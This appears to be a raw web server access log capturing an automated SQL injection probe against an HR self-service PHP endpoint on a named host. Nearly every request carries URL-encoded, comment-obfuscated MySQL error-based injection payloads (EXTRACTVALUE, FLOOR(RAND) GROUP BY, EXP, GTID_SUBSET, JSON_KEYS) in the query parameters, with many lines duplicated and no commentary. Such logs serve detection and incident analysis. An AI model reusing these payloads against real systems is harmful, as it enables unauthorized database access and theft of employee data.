AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x416b7341%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d6d6262%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FE9el&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6c59684a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51306767%29%29x%29%29--%2F%2A%2A%2FXR9m&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6c59684a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51306767%29%29x%29%29--%2F%2A%2A%2FXR9m&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x41584d72%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x676a496d%29%2C6420%29--%2F%2A%2A%2Ffkwp&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x41584d72%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x676a496d%29%2C6420%29--%2F%2A%2A%2Ffkwp&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x76435839%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49546f7a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FNWQY%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x69794934%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71395870%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FZswD&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x69794934%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71395870%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FZswD&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x5234617a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33667238%29%29--%2F%2A%2A%2FlQji&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x5234617a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33667238%29%29--%2F%2A%2A%2FlQji&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x34584a70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59674843%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2Fw0KF&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x34584a70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59674843%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2Fw0KF&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x78664b61%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f324d4e%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FMvLK%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x78664b61%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f324d4e%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FMvLK%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x52773447%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d477358%29%29--%2F%2A%2A%2F9cMV&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x52773447%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d477358%29%29--%2F%2A%2A%2F9cMV&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4e385a61%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x676e6365%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FYmWs%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4e385a61%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x676e6365%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FYmWs%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x75743866%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31756b32%29%29x%29%29--%2F%2A%2A%2F7mTI&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x75743866%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31756b32%29%29x%29%29--%2F%2A%2A%2F7mTI&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x57686e46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54774831%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x57686e46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54774831%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x474f6374%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x445a4f4b%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x474f6374%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x445a4f4b%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4e385a61%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x676e6365%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FYmWs%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x7376674f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d717159%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FO5HJ&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x7376674f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d717159%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FO5HJ&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x474f6374%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x445a4f4b%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x39306c36%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79436257%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FPje2&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x39306c36%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79436257%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FPje2&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4c484678%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7748706b%29%29%2C1%29--%2F%2A%2A%2FpTzl&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4c484678%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7748706b%29%29%2C1%29--%2F%2A%2A%2FpTzl&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x694a5852%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x354b5959%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FeSqB&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x694a5852%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x354b5959%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FeSqB&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x61734859%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x514c5075%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FEcIS&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:36 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x61734859%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x514c5075%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FEcIS&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
